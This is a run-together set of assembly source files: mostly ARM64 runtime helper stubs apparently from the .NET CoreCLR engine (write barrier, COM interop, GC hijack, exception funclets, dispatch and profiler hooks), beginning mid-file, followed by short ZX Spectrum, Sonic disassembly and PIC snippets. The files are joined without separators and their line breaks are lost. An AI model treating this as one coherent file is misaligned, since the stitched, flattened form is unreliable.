0xFF beq Exit UpdateCardTable mov x12, 0xFF strb w12, [x15] #ifdef FEATURE_MANUALLY_MANAGED_CARD_BUNDLES ; Check if we need to update the card bundle table ldr x12, wbs_card_bundle_table ; x15 := pointer into card bundle table add x15, x12, x14, lsr #21 ldrb w12, [x15] cmp x12, 0xFF beq Exit mov x12, 0xFF strb w12, [x15] #endif Exit add x14, x14, 8 ret lr WRITE_BARRIER_END JIT_WriteBarrier ; ------------------------------------------------------------------ ; End of the writeable code region LEAF_ENTRY JIT_PatchedCodeLast ret lr LEAF_END ;------------------------------------------------ ; ExternalMethodFixupStub ; ; In NGEN images, calls to cross-module external methods initially ; point to a jump thunk that calls into the following function that will ; call into a VM helper. The VM helper is responsible for patching up the ; thunk, upon executing the precode, so that all subsequent calls go directly ; to the actual method body. ; ; This is done lazily for performance reasons. ; ; On entry: ; ; x12 = Address of thunk NESTED_ENTRY ExternalMethodFixupStub PROLOG_WITH_TRANSITION_BLOCK add x0, sp, #__PWTB_TransitionBlock ; pTransitionBlock mov x1, x12 ; pThunk mov x2, #0 ; sectionIndex mov x3, #0 ; pModule bl ExternalMethodFixupWorker ; mov the address we patched to in x12 so that we can tail call to it mov x12, x0 EPILOG_WITH_TRANSITION_BLOCK_TAILCALL PATCH_LABEL ExternalMethodFixupPatchLabel EPILOG_BRANCH_REG x12 NESTED_END ; void SinglecastDelegateInvokeStub(Delegate *pThis) LEAF_ENTRY SinglecastDelegateInvokeStub cmp x0, #0 beq LNullThis ldr x16, [x0, #DelegateObject___methodPtr] ldr x0, [x0, #DelegateObject___target] br x16 LNullThis mov x0, #CORINFO_NullReferenceException_ASM b JIT_InternalThrow LEAF_END #ifdef FEATURE_COMINTEROP ; ------------------------------------------------------------------ ; setStubReturnValue ; w0 - size of floating point return value (MetaSig::GetFPReturnSize()) ; x1 - pointer to the return buffer in the stub frame LEAF_ENTRY setStubReturnValue cbz w0, NoFloatingPointRetVal ;; Float return case cmp x0, #4 bne LNoFloatRetVal ldr s0, [x1] ret LNoFloatRetVal ;; Double return case cmp w0, #8 bne LNoDoubleRetVal ldr d0, [x1] ret LNoDoubleRetVal ;; Float HFA return case cmp w0, #16 bne LNoFloatHFARetVal ldp s0, s1, [x1] ldp s2, s3, [x1, #8] ret LNoFloatHFARetVal ;;Double HFA return case cmp w0, #32 bne LNoDoubleHFARetVal ldp d0, d1, [x1] ldp d2, d3, [x1, #16] ret LNoDoubleHFARetVal ;;Vector HVA return case cmp w3, #64 bne LNoVectorHVARetVal ldp q0, q1, [x1] ldp q2, q3, [x1, #32] ret LNoVectorHVARetVal EMIT_BREAKPOINT ; Unreachable NoFloatingPointRetVal ;; Restore the return value from retbuf ldr x0, [x1] ldr x1, [x1, #8] ret LEAF_END ; ------------------------------------------------------------------ ; GenericComPlusCallStub that erects a ComPlusMethodFrame and calls into the runtime ; (CLRToCOMWorker) to dispatch rare cases of the interface call. ; ; On entry: ; x0 : 'this' object ; x12 : Interface MethodDesc* ; plus user arguments in registers and on the stack ; ; On exit: ; x0/x1/s0-s3/d0-d3 set to return value of the call as appropriate ; NESTED_ENTRY GenericComPlusCallStub PROLOG_WITH_TRANSITION_BLOCK ASM_ENREGISTERED_RETURNTYPE_MAXSIZE add x0, sp, #__PWTB_TransitionBlock ; pTransitionBlock mov x1, x12 ; pMethodDesc ; Call CLRToCOMWorker(TransitionBlock *, ComPlusCallMethodDesc *). ; This call will set up the rest of the frame (including the vfptr, the GS cookie and ; linking to the thread), make the client call and return with correct registers set ; (x0/x1/s0-s3/d0-d3 as appropriate). bl CLRToCOMWorker ; x0 = fpRetSize ; The return value is stored before float argument registers add x1, sp, #(__PWTB_FloatArgumentRegisters - ASM_ENREGISTERED_RETURNTYPE_MAXSIZE) bl setStubReturnValue EPILOG_WITH_TRANSITION_BLOCK_RETURN NESTED_END ; ------------------------------------------------------------------ ; COM to CLR stub called the first time a particular method is invoked. ; ; On entry: ; x12 : ComCallMethodDesc* provided by prepad thunk ; plus user arguments in registers and on the stack ; ; On exit: ; tail calls to real method ; NESTED_ENTRY ComCallPreStub GBLA ComCallPreStub_FrameSize GBLA ComCallPreStub_StackAlloc GBLA ComCallPreStub_FrameOffset GBLA ComCallPreStub_ErrorReturnOffset GBLA ComCallPreStub_FirstStackAdjust ComCallPreStub_FrameSize SETA (SIZEOF__GSCookie + SIZEOF__ComMethodFrame) ComCallPreStub_FirstStackAdjust SETA (8 + SIZEOF__ArgumentRegisters + 2 * 8) ; x8, reg args , fp & lr already pushed ComCallPreStub_StackAlloc SETA ComCallPreStub_FrameSize - ComCallPreStub_FirstStackAdjust ComCallPreStub_StackAlloc SETA ComCallPreStub_StackAlloc + SIZEOF__FloatArgumentRegisters + 8; 8 for ErrorReturn IF ComCallPreStub_StackAlloc:MOD:16 != 0 ComCallPreStub_StackAlloc SETA ComCallPreStub_StackAlloc + 8 ENDIF ComCallPreStub_FrameOffset SETA (ComCallPreStub_StackAlloc - (SIZEOF__ComMethodFrame - ComCallPreStub_FirstStackAdjust)) ComCallPreStub_ErrorReturnOffset SETA SIZEOF__FloatArgumentRegisters IF (ComCallPreStub_FirstStackAdjust):MOD:16 != 0 ComCallPreStub_FirstStackAdjust SETA ComCallPreStub_FirstStackAdjust + 8 ENDIF ; Save arguments and return address PROLOG_SAVE_REG_PAIR fp, lr, #-ComCallPreStub_FirstStackAdjust! PROLOG_STACK_ALLOC ComCallPreStub_StackAlloc SAVE_ARGUMENT_REGISTERS sp, (16+ComCallPreStub_StackAlloc) SAVE_FLOAT_ARGUMENT_REGISTERS sp, 0 str x12, [sp, #(ComCallPreStub_FrameOffset + UnmanagedToManagedFrame__m_pvDatum)] add x0, sp, #(ComCallPreStub_FrameOffset) add x1, sp, #(ComCallPreStub_ErrorReturnOffset) bl ComPreStubWorker cbz x0, ComCallPreStub_ErrorExit mov x12, x0 ; pop the stack and restore original register state RESTORE_FLOAT_ARGUMENT_REGISTERS sp, 0 RESTORE_ARGUMENT_REGISTERS sp, (16+ComCallPreStub_StackAlloc) EPILOG_STACK_FREE ComCallPreStub_StackAlloc EPILOG_RESTORE_REG_PAIR fp, lr, #ComCallPreStub_FirstStackAdjust! ; and tailcall to the actual method EPILOG_BRANCH_REG x12 ComCallPreStub_ErrorExit ldr x0, [sp, #(ComCallPreStub_ErrorReturnOffset)] ; ErrorReturn ; pop the stack EPILOG_STACK_FREE ComCallPreStub_StackAlloc EPILOG_RESTORE_REG_PAIR fp, lr, #ComCallPreStub_FirstStackAdjust! EPILOG_RETURN NESTED_END ; ------------------------------------------------------------------ ; COM to CLR stub which sets up a ComMethodFrame and calls COMToCLRWorker. ; ; On entry: ; x12 : ComCallMethodDesc* provided by prepad thunk ; plus user arguments in registers and on the stack ; ; On exit: ; Result in x0/d0 as per the real method being called ; NESTED_ENTRY GenericComCallStub GBLA GenericComCallStub_FrameSize GBLA GenericComCallStub_StackAlloc GBLA GenericComCallStub_FrameOffset GBLA GenericComCallStub_FirstStackAdjust GenericComCallStub_FrameSize SETA (SIZEOF__GSCookie + SIZEOF__ComMethodFrame) GenericComCallStub_FirstStackAdjust SETA (8 + SIZEOF__ArgumentRegisters + 2 * 8) GenericComCallStub_StackAlloc SETA GenericComCallStub_FrameSize - GenericComCallStub_FirstStackAdjust GenericComCallStub_StackAlloc SETA GenericComCallStub_StackAlloc + SIZEOF__FloatArgumentRegisters IF (GenericComCallStub_StackAlloc):MOD:16 != 0 GenericComCallStub_StackAlloc SETA GenericComCallStub_StackAlloc + 8 ENDIF GenericComCallStub_FrameOffset SETA (GenericComCallStub_StackAlloc - (SIZEOF__ComMethodFrame - GenericComCallStub_FirstStackAdjust)) IF (GenericComCallStub_FirstStackAdjust):MOD:16 != 0 GenericComCallStub_FirstStackAdjust SETA GenericComCallStub_FirstStackAdjust + 8 ENDIF ; Save arguments and return address PROLOG_SAVE_REG_PAIR fp, lr, #-GenericComCallStub_FirstStackAdjust! PROLOG_STACK_ALLOC GenericComCallStub_StackAlloc SAVE_ARGUMENT_REGISTERS sp, (16+GenericComCallStub_StackAlloc) SAVE_FLOAT_ARGUMENT_REGISTERS sp, 0 str x12, [sp, #(GenericComCallStub_FrameOffset + UnmanagedToManagedFrame__m_pvDatum)] add x1, sp, #GenericComCallStub_FrameOffset bl COMToCLRWorker ; pop the stack EPILOG_STACK_FREE GenericComCallStub_StackAlloc EPILOG_RESTORE_REG_PAIR fp, lr, #GenericComCallStub_FirstStackAdjust! EPILOG_RETURN NESTED_END ; ------------------------------------------------------------------ ; COM to CLR stub called from COMToCLRWorker that actually dispatches to the real managed method. ; ; On entry: ; x0 : dwStackSlots, count of argument stack slots to copy ; x1 : pFrame, ComMethodFrame pushed by GenericComCallStub above ; x2 : pTarget, address of code to call ; x3 : pSecretArg, hidden argument passed to target above in x12 ; x4 : pDangerousThis, managed 'this' reference ; ; On exit: ; Result in x0/d0 as per the real method being called ; NESTED_ENTRY COMToCLRDispatchHelper,,CallDescrWorkerUnwindFrameChainHandler PROLOG_SAVE_REG_PAIR fp, lr, #-16! cbz x0, COMToCLRDispatchHelper_RegSetup add x9, x1, #SIZEOF__ComMethodFrame ; Compute number of 8 bytes slots to copy. This is done by rounding up the ; dwStackSlots value to the nearest even value add x0, x0, #1 bic x0, x0, #1 ; Compute how many slots to adjust the address to copy from. Since we ; are copying 16 bytes at a time, adjust by -1 from the rounded value sub x6, x0, #1 add x9, x9, x6, LSL #3 COMToCLRDispatchHelper_StackLoop ldp x7, x8, [x9], #-16 ; post-index stp x7, x8, [sp, #-16]! ; pre-index subs x0, x0, #2 bne COMToCLRDispatchHelper_StackLoop COMToCLRDispatchHelper_RegSetup ; We need an aligned offset for restoring float args, so do the subtraction into ; a scratch register sub x5, x1, GenericComCallStub_FrameOffset RESTORE_FLOAT_ARGUMENT_REGISTERS x5, 0 mov lr, x2 mov x12, x3 mov x0, x4 ldp x2, x3, [x1, #(SIZEOF__ComMethodFrame - SIZEOF__ArgumentRegisters + 16)] ldp x4, x5, [x1, #(SIZEOF__ComMethodFrame - SIZEOF__ArgumentRegisters + 32)] ldp x6, x7, [x1, #(SIZEOF__ComMethodFrame - SIZEOF__ArgumentRegisters + 48)] ldr x8, [x1, #(SIZEOF__ComMethodFrame - SIZEOF__ArgumentRegisters - 8)] ldr x1, [x1, #(SIZEOF__ComMethodFrame - SIZEOF__ArgumentRegisters + 8)] blr lr EPILOG_STACK_RESTORE EPILOG_RESTORE_REG_PAIR fp, lr, #16! EPILOG_RETURN NESTED_END #endif ; FEATURE_COMINTEROP ; ; x12 = UMEntryThunk* ; NESTED_ENTRY TheUMEntryPrestub,,UMEntryPrestubUnwindFrameChainHandler ; Save arguments and return address PROLOG_SAVE_REG_PAIR fp, lr, #-224! SAVE_ARGUMENT_REGISTERS sp, 16 SAVE_FLOAT_ARGUMENT_REGISTERS sp, 96 mov x0, x12 bl TheUMEntryPrestubWorker ; save real target address in x12. mov x12, x0 ; pop the stack and restore original register state RESTORE_ARGUMENT_REGISTERS sp, 16 RESTORE_FLOAT_ARGUMENT_REGISTERS sp, 96 EPILOG_RESTORE_REG_PAIR fp, lr, #224! ; and tailcall to the actual method EPILOG_BRANCH_REG x12 NESTED_END #ifdef FEATURE_HIJACK ; ------------------------------------------------------------------ ; Hijack function for functions which return a scalar type or a struct (value type) NESTED_ENTRY OnHijackTripThread PROLOG_SAVE_REG_PAIR fp, lr, #-176! ; Spill callee saved registers PROLOG_SAVE_REG_PAIR x19, x20, #16 PROLOG_SAVE_REG_PAIR x21, x22, #32 PROLOG_SAVE_REG_PAIR x23, x24, #48 PROLOG_SAVE_REG_PAIR x25, x26, #64 PROLOG_SAVE_REG_PAIR x27, x28, #80 ; save any integral return value(s) stp x0, x1, [sp, #96] ; save any FP/HFA/HVA return value(s) stp q0, q1, [sp, #112] stp q2, q3, [sp, #144] mov x0, sp bl OnHijackWorker ; restore any integral return value(s) ldp x0, x1, [sp, #96] ; restore any FP/HFA/HVA return value(s) ldp q0, q1, [sp, #112] ldp q2, q3, [sp, #144] EPILOG_RESTORE_REG_PAIR x19, x20, #16 EPILOG_RESTORE_REG_PAIR x21, x22, #32 EPILOG_RESTORE_REG_PAIR x23, x24, #48 EPILOG_RESTORE_REG_PAIR x25, x26, #64 EPILOG_RESTORE_REG_PAIR x27, x28, #80 EPILOG_RESTORE_REG_PAIR fp, lr, #176! EPILOG_RETURN NESTED_END #endif ; FEATURE_HIJACK ;; ------------------------------------------------------------------ ;; Redirection Stub for GC in fully interruptible method GenerateRedirectedHandledJITCaseStub GCThreadControl ;; ------------------------------------------------------------------ GenerateRedirectedHandledJITCaseStub DbgThreadControl ;; ------------------------------------------------------------------ GenerateRedirectedHandledJITCaseStub UserSuspend #ifdef _DEBUG ; ------------------------------------------------------------------ ; Redirection Stub for GC Stress GenerateRedirectedHandledJITCaseStub GCStress #endif ; ------------------------------------------------------------------ ; This helper enables us to call into a funclet after restoring Fp register NESTED_ENTRY CallEHFunclet ; On entry: ; ; X0 = throwable ; X1 = PC to invoke ; X2 = address of X19 register in CONTEXT record; used to restore the non-volatile registers of CrawlFrame ; X3 = address of the location where the SP of funclet's caller (i.e. this helper) should be saved. ; ; Using below prolog instead of PROLOG_SAVE_REG_PAIR fp,lr, #-16! ; is intentional. Above statement would also emit instruction to save ; sp in fp. If sp is saved in fp in prolog then it is not expected that fp can change in the body ; of method. However, this method needs to be able to change fp before calling funclet. ; This is required to access locals in funclet. PROLOG_SAVE_REG_PAIR_NO_FP fp,lr, #-96! ; Spill callee saved registers PROLOG_SAVE_REG_PAIR x19, x20, 16 PROLOG_SAVE_REG_PAIR x21, x22, 32 PROLOG_SAVE_REG_PAIR x23, x24, 48 PROLOG_SAVE_REG_PAIR x25, x26, 64 PROLOG_SAVE_REG_PAIR x27, x28, 80 ; Save the SP of this function. We cannot store SP directly. mov fp, sp str fp, [x3] ldp x19, x20, [x2, #0] ldp x21, x22, [x2, #16] ldp x23, x24, [x2, #32] ldp x25, x26, [x2, #48] ldp x27, x28, [x2, #64] ldr fp, [x2, #80] ; offset of fp in CONTEXT relative to X19 ; Invoke the funclet blr x1 nop EPILOG_RESTORE_REG_PAIR x19, x20, 16 EPILOG_RESTORE_REG_PAIR x21, x22, 32 EPILOG_RESTORE_REG_PAIR x23, x24, 48 EPILOG_RESTORE_REG_PAIR x25, x26, 64 EPILOG_RESTORE_REG_PAIR x27, x28, 80 EPILOG_RESTORE_REG_PAIR fp, lr, #96! EPILOG_RETURN NESTED_END CallEHFunclet ; This helper enables us to call into a filter funclet by passing it the CallerSP to lookup the ; frame pointer for accessing the locals in the parent method. NESTED_ENTRY CallEHFilterFunclet PROLOG_SAVE_REG_PAIR fp, lr, #-16! ; On entry: ; ; X0 = throwable ; X1 = SP of the caller of the method/funclet containing the filter ; X2 = PC to invoke ; X3 = address of the location where the SP of funclet's caller (i.e. this helper) should be saved. ; ; Save the SP of this function str fp, [x3] ; Invoke the filter funclet blr x2 EPILOG_RESTORE_REG_PAIR fp, lr, #16! EPILOG_RETURN NESTED_END CallEHFilterFunclet GBLA FaultingExceptionFrame_StackAlloc GBLA FaultingExceptionFrame_FrameOffset FaultingExceptionFrame_StackAlloc SETA (SIZEOF__GSCookie + SIZEOF__FaultingExceptionFrame) FaultingExceptionFrame_FrameOffset SETA SIZEOF__GSCookie MACRO GenerateRedirectedStubWithFrame $STUB, $TARGET ; ; This is the primary function to which execution will be redirected to. ; NESTED_ENTRY $STUB ; ; IN: lr: original IP before redirect ; PROLOG_SAVE_REG_PAIR fp, lr, #-16! PROLOG_STACK_ALLOC FaultingExceptionFrame_StackAlloc ; At this point, the stack maybe misaligned if the thread abort was asynchronously ; triggered in the prolog or epilog of the managed method. For such a case, we must ; align the stack before calling into the VM. ; ; Runtime check for 16-byte alignment. mov x0, sp and x0, x0, #15 sub sp, sp, x0 ; Save pointer to FEF for GetFrameFromRedirectedStubStackFrame add x19, sp, #FaultingExceptionFrame_FrameOffset ; Prepare to initialize to NULL mov x1,#0 str x1, [x19] ; Initialize vtbl (it is not strictly necessary) str x1, [x19, #FaultingExceptionFrame__m_fFilterExecuted] ; Initialize BOOL for personality routine mov x0, x19 ; move the ptr to FEF in X0 bl $TARGET ; Target should not return. EMIT_BREAKPOINT NESTED_END $STUB MEND ; ------------------------------------------------------------------ ; ; Helpers for async (NullRef, AccessViolation) exceptions ; NESTED_ENTRY NakedThrowHelper2,,FixContextHandler PROLOG_SAVE_REG_PAIR fp,lr, #-16! ; On entry: ; ; X0 = Address of FaultingExceptionFrame bl LinkFrameAndThrow ; Target should not return. EMIT_BREAKPOINT NESTED_END NakedThrowHelper2 GenerateRedirectedStubWithFrame NakedThrowHelper, NakedThrowHelper2 ; ------------------------------------------------------------------ ; ResolveWorkerChainLookupAsmStub ; ; This method will perform a quick chained lookup of the entry if the ; initial cache lookup fails. ; ; On Entry: ; x9 contains the pointer to the current ResolveCacheElem ; x11 contains the address of the indirection (and the flags in the low two bits) ; x12 contains our contract the DispatchToken ; Must be preserved: ; x0 contains the instance object ref that we are making an interface call on ; x9 Must point to a ResolveCacheElem [For Sanity] ; [x1-x7] contains any additional register arguments for the interface method ; ; Loaded from x0 ; x13 contains our type the MethodTable (from object ref in x0) ; ; On Exit: ; x0, [x1-x7] arguments for the interface implementation target ; ; On Exit (to ResolveWorkerAsmStub): ; x11 contains the address of the indirection and the flags in the low two bits. ; x12 contains our contract (DispatchToken) ; x16,x17 will be trashed ; GBLA BACKPATCH_FLAG ; two low bit flags used by ResolveWorkerAsmStub GBLA PROMOTE_CHAIN_FLAG ; two low bit flags used by ResolveWorkerAsmStub BACKPATCH_FLAG SETA 1 PROMOTE_CHAIN_FLAG SETA 2 NESTED_ENTRY ResolveWorkerChainLookupAsmStub tst x11, #BACKPATCH_FLAG ; First we check if x11 has the BACKPATCH_FLAG set bne Fail ; If the BACKPATCH_FLAGS is set we will go directly to the ResolveWorkerAsmStub ldr x13, [x0] ; retrieve the MethodTable from the object ref in x0 MainLoop ldr x9, [x9, #ResolveCacheElem__pNext] ; x9 <= the next entry in the chain cmp x9, #0 beq Fail ldp x16, x17, [x9] cmp x16, x13 ; compare our MT with the one in the ResolveCacheElem bne MainLoop cmp x17, x12 ; compare our DispatchToken with one in the ResolveCacheElem bne MainLoop Success ldr x13, =g_dispatch_cache_chain_success_counter ldr x16, [x13] subs x16, x16, #1 str x16, [x13] blt Promote ldr x16, [x9, #ResolveCacheElem__target] ; get the ImplTarget br x16 ; branch to interface implemenation target Promote ; Move this entry to head postion of the chain mov x16, #256 str x16, [x13] ; be quick to reset the counter so we don't get a bunch of contending threads orr x11, x11, #PROMOTE_CHAIN_FLAG ; set PROMOTE_CHAIN_FLAG mov x12, x9 ; We pass the ResolveCacheElem to ResolveWorkerAsmStub instead of the DispatchToken Fail b ResolveWorkerAsmStub ; call the ResolveWorkerAsmStub method to transition into the VM NESTED_END ResolveWorkerChainLookupAsmStub ;; ------------------------------------------------------------------ ;; void ResolveWorkerAsmStub(args in regs x0-x7 & stack and possibly retbuf arg in x8, x11:IndirectionCellAndFlags, x12:DispatchToken) ;; ;; The stub dispatch thunk which transfers control to VSD_ResolveWorker. NESTED_ENTRY ResolveWorkerAsmStub PROLOG_WITH_TRANSITION_BLOCK add x0, sp, #__PWTB_TransitionBlock ; pTransitionBlock and x1, x11, #-4 ; Indirection cell mov x2, x12 ; DispatchToken and x3, x11, #3 ; flag bl VSD_ResolveWorker mov x9, x0 EPILOG_WITH_TRANSITION_BLOCK_TAILCALL EPILOG_BRANCH_REG x9 NESTED_END #ifdef FEATURE_READYTORUN NESTED_ENTRY DelayLoad_MethodCall PROLOG_WITH_TRANSITION_BLOCK add x0, sp, #__PWTB_TransitionBlock ; pTransitionBlock mov x1, x11 ; Indirection cell mov x2, x9 ; sectionIndex mov x3, x10 ; Module* bl ExternalMethodFixupWorker mov x12, x0 EPILOG_WITH_TRANSITION_BLOCK_TAILCALL ; Share patch label b ExternalMethodFixupPatchLabel NESTED_END MACRO DynamicHelper $frameFlags, $suffix NESTED_ENTRY DelayLoad_Helper$suffix PROLOG_WITH_TRANSITION_BLOCK add x0, sp, #__PWTB_TransitionBlock ; pTransitionBlock mov x1, x11 ; Indirection cell mov x2, x9 ; sectionIndex mov x3, x10 ; Module* mov x4, $frameFlags bl DynamicHelperWorker cbnz x0, %FT0 ldr x0, [sp, #__PWTB_ArgumentRegister_FirstArg] EPILOG_WITH_TRANSITION_BLOCK_RETURN 0 mov x12, x0 EPILOG_WITH_TRANSITION_BLOCK_TAILCALL EPILOG_BRANCH_REG x12 NESTED_END MEND DynamicHelper DynamicHelperFrameFlags_Default DynamicHelper DynamicHelperFrameFlags_ObjectArg, _Obj DynamicHelper DynamicHelperFrameFlags_ObjectArg | DynamicHelperFrameFlags_ObjectArg2, _ObjObj #endif // FEATURE_READYTORUN #ifdef FEATURE_COMINTEROP ; ------------------------------------------------------------------ ; Function used by COM interop to get floating point return value (since it's not in the same ; register(s) as non-floating point values). ; ; On entry; ; x0 : size of the FP result (4 or 8 bytes) ; x1 : pointer to 64-bit buffer to receive result ; ; On exit: ; buffer pointed to by x1 on entry contains the float or double argument as appropriate ; LEAF_ENTRY getFPReturn str d0, [x1] LEAF_END ; ------------------------------------------------------------------ ; Function used by COM interop to set floating point return value (since it's not in the same ; register(s) as non-floating point values). ; ; On entry: ; x0 : size of the FP result (4 or 8 bytes) ; x1 : 32-bit or 64-bit FP result ; ; On exit: ; s0 : float result if x0 == 4 ; d0 : double result if x0 == 8 ; LEAF_ENTRY setFPReturn fmov d0, x1 LEAF_END #endif ; ; JIT Static access helpers when coreclr host specifies single appdomain flag ; ; ------------------------------------------------------------------ ; void* JIT_GetSharedNonGCStaticBase(SIZE_T moduleDomainID, DWORD dwClassDomainID) LEAF_ENTRY JIT_GetSharedNonGCStaticBase_SingleAppDomain ; If class is not initialized, bail to C++ helper add x2, x0, #DomainLocalModule__m_pDataBlob ldrb w2, [x2, w1] tst w2, #1 beq CallHelper1 ret lr CallHelper1 ; Tail call JIT_GetSharedNonGCStaticBase_Helper b JIT_GetSharedNonGCStaticBase_Helper LEAF_END ; ------------------------------------------------------------------ ; void* JIT_GetSharedNonGCStaticBaseNoCtor(SIZE_T moduleDomainID, DWORD dwClassDomainID) LEAF_ENTRY JIT_GetSharedNonGCStaticBaseNoCtor_SingleAppDomain ret lr LEAF_END ; ------------------------------------------------------------------ ; void* JIT_GetSharedGCStaticBase(SIZE_T moduleDomainID, DWORD dwClassDomainID) LEAF_ENTRY JIT_GetSharedGCStaticBase_SingleAppDomain ; If class is not initialized, bail to C++ helper add x2, x0, #DomainLocalModule__m_pDataBlob ldrb w2, [x2, w1] tst w2, #1 beq CallHelper2 ldr x0, [x0, #DomainLocalModule__m_pGCStatics] ret lr CallHelper2 ; Tail call Jit_GetSharedGCStaticBase_Helper b JIT_GetSharedGCStaticBase_Helper LEAF_END ; ------------------------------------------------------------------ ; void* JIT_GetSharedGCStaticBaseNoCtor(SIZE_T moduleDomainID, DWORD dwClassDomainID) LEAF_ENTRY JIT_GetSharedGCStaticBaseNoCtor_SingleAppDomain ldr x0, [x0, #DomainLocalModule__m_pGCStatics] ret lr LEAF_END ; ------------------------------------------------------------------ ; __declspec(naked) void F_CALL_CONV JIT_WriteBarrier_Callable(Object **dst, Object* val) LEAF_ENTRY JIT_WriteBarrier_Callable ; Setup args for JIT_WriteBarrier. x14 = dst ; x15 = val mov x14, x0 ; x14 = dst mov x15, x1 ; x15 = val ; Branch to the write barrier adrp x17, JIT_WriteBarrier_Loc ldr x17, [x17, JIT_WriteBarrier_Loc] br x17 LEAF_END #ifdef PROFILING_SUPPORTED ; ------------------------------------------------------------------ ; void JIT_ProfilerEnterLeaveTailcallStub(UINT_PTR ProfilerHandle) LEAF_ENTRY JIT_ProfilerEnterLeaveTailcallStub ret lr LEAF_END #define PROFILE_ENTER 1 #define PROFILE_LEAVE 2 #define PROFILE_TAILCALL 4 #define SIZEOF__PROFILE_PLATFORM_SPECIFIC_DATA 272 ; ------------------------------------------------------------------ MACRO GenerateProfileHelper $helper, $flags LCLS __HelperNakedFuncName __HelperNakedFuncName SETS "$helper":CC:"Naked" IMPORT $helper NESTED_ENTRY $__HelperNakedFuncName ; On entry: ; x10 = functionIDOrClientID ; x11 = profiledSp ; x12 = throwable ; ; On exit: ; Values of x0-x8, q0-q7, fp are preserved. ; Values of other volatile registers are not preserved. PROLOG_SAVE_REG_PAIR fp, lr, -SIZEOF__PROFILE_PLATFORM_SPECIFIC_DATA! ; Allocate space and save Fp, Pc. SAVE_ARGUMENT_REGISTERS sp, 16 ; Save x8 and argument registers (x0-x7). str xzr, [sp, #88] ; Clear functionId. SAVE_FLOAT_ARGUMENT_REGISTERS sp, 96 ; Save floating-point/SIMD registers (q0-q7). add x12, fp, SIZEOF__PROFILE_PLATFORM_SPECIFIC_DATA ; Compute probeSp - initial value of Sp on entry to the helper. stp x12, x11, [sp, #224] ; Save probeSp, profiledSp. str xzr, [sp, #240] ; Clear hiddenArg. mov w12, $flags stp w12, wzr, [sp, #248] ; Save flags and clear unused field. mov x0, x10 mov x1, sp bl $helper RESTORE_ARGUMENT_REGISTERS sp, 16 ; Restore x8 and argument registers. RESTORE_FLOAT_ARGUMENT_REGISTERS sp, 96 ; Restore floating-point/SIMD registers. EPILOG_RESTORE_REG_PAIR fp, lr, SIZEOF__PROFILE_PLATFORM_SPECIFIC_DATA! EPILOG_RETURN NESTED_END 0 MEND GenerateProfileHelper ProfileEnter, PROFILE_ENTER GenerateProfileHelper ProfileLeave, PROFILE_LEAVE GenerateProfileHelper ProfileTailcall, PROFILE_TAILCALL #endif #ifdef FEATURE_TIERED_COMPILATION IMPORT OnCallCountThresholdReached NESTED_ENTRY OnCallCountThresholdReachedStub PROLOG_WITH_TRANSITION_BLOCK add x0, sp, #__PWTB_TransitionBlock ; TransitionBlock * mov x1, x10 ; stub-identifying token bl OnCallCountThresholdReached mov x9, x0 EPILOG_WITH_TRANSITION_BLOCK_TAILCALL EPILOG_BRANCH_REG x9 NESTED_END #endif ; FEATURE_TIERED_COMPILATION ; Must be at very end of file END
SECTION code_crt_init PUBLIC zx_00_output_rom_rst_init zx_00_output_rom_rst_init: ld a,2 ; upper screen call 5633 ; open channel
; Object Mappings Subtype Frame Arttile dbglistobj Obj_Ring, Map_Ring, 0, 0, make_art_tile($6BC,1,1) dbglistobj Obj_Monitor, Map_Monitor, 6, 0, make_art_tile($4C4,0,0) dbglistobj Obj_PathSwap, Map_PathSwap, 9, 1, make_art_tile($6BC,1,0) dbglistobj Obj_PathSwap, Map_PathSwap, $D, 5, make_art_tile($6BC,1,0) dbglistobj Obj_Spring, Map_Spring, $81, 0, make_art_tile($4A4,0,0) dbglistobj Obj_Spring, Map_Spring, $90, 3, make_art_tile($4B4,0,0) dbglistobj Obj_Spring, Map_Spring, $A0, 6, make_art_tile($4A4,0,0) dbglistobj Obj_Spring, Map_Spring, $30, 7, make_art_tile($478,0,0) dbglistobj Obj_Spring, Map_Spring, $40, $A, make_art_tile($478,0,0) dbglistobj Obj_Spikes, Map_Spikes, 0, 0, make_art_tile($49C,0,0) dbglistobj Obj_Spikes, Map_Spikes, $40, 4, make_art_tile($494,0,0) dbglistobj Obj_Dragonfly, Map_Dragonfly, 0, 0, make_art_tile($538,1,0) dbglistobj Obj_Butterdroid, Map_Butterdroid, 0, 0, make_art_tile($514,1,0) dbglistobj Obj_Mushmeanie, Map_Mushmeanie, 0, 0, make_art_tile($56D,2,0) dbglistobj Obj_Madmole, Map_Madmole, 0, 0, make_art_tile($545,0,0) dbglistobj Obj_Cluckoid, Map_Cluckoid, 0, 0, make_art_tile($500,1,0) dbglistobj Obj_MHZMushroomCap, Map_MHZMushroomCap, 0, 0, make_art_tile($369,2,0) dbglistobj Obj_MHZPulleyLift, Map_MHZPulleyLift, 8, 4, make_art_tile($424,0,0) dbglistobj Obj_MHZCurledVine, Map_MHZCurledVine, 0, 0, make_art_tile($353,2,0) dbglistobj Obj_MHZStickyVine, Map_MHZStickyVine, 0, 0, make_art_tile($40A,2,0) dbglistobj Obj_MHZSwingBarHorizontal, Map_MHZSwingBarHorizontal, 0, 0, make_art_tile($3F3,0,0) dbglistobj Obj_MHZSwingBarVertical, Map_MHZSwingBarVertical, 0, 0, make_art_tile($3F3,0,0) dbglistobj Obj_MHZMushroomPlatform, Map_MHZMushroomPlatform, 0, 0, make_art_tile($3CD,2,0) dbglistobj Obj_MHZMushroomParachute, Map_MHZMushroomParachute, 0, 0, make_art_tile($3CD,2,0) dbglistobj Obj_MHZMushroomCatapult, Map_MHZMushroomCatapult, 0, 0, make_art_tile($3CD,2,0) dbglistobj Obj_StillSprite, Map_StillSprites, $18, $18, make_art_tile($357,2,1) dbglistobj Obj_StillSprite, Map_StillSprites, $19, $19, make_art_tile($357,2,1) dbglistobj Obj_StillSprite, Map_StillSprites, $1A, $1A, make_art_tile($357,2,1) dbglistobj Obj_StillSprite, Map_StillSprites, $1B, $1B, make_art_tile($40E,3,1) dbglistobj Obj_StillSprite, Map_StillSprites, $1C, $1C, make_art_tile($40E,3,1) dbglistobj Obj_StillSprite, Map_StillSprites, $1D, $1D, make_art_tile($41E,2,0) dbglistobj Obj_StillSprite, Map_StillSprites, $1E, $1E, make_art_tile($347,0,0) dbglistobj Obj_BreakableWall, Map_MHZBreakableWall, 0, 0, make_art_tile($34B,2,0) dbglistobj Obj_MHZSwingVine, Map_AIZMHZRideVine, 0, $23, make_art_tile($455,0,0)
#include "Platform.inc" #include "PollChain.inc" radix decimal PollAfterDoorDummy code global POLL_AFTER_DOOR POLL_AFTER_DOOR: return end
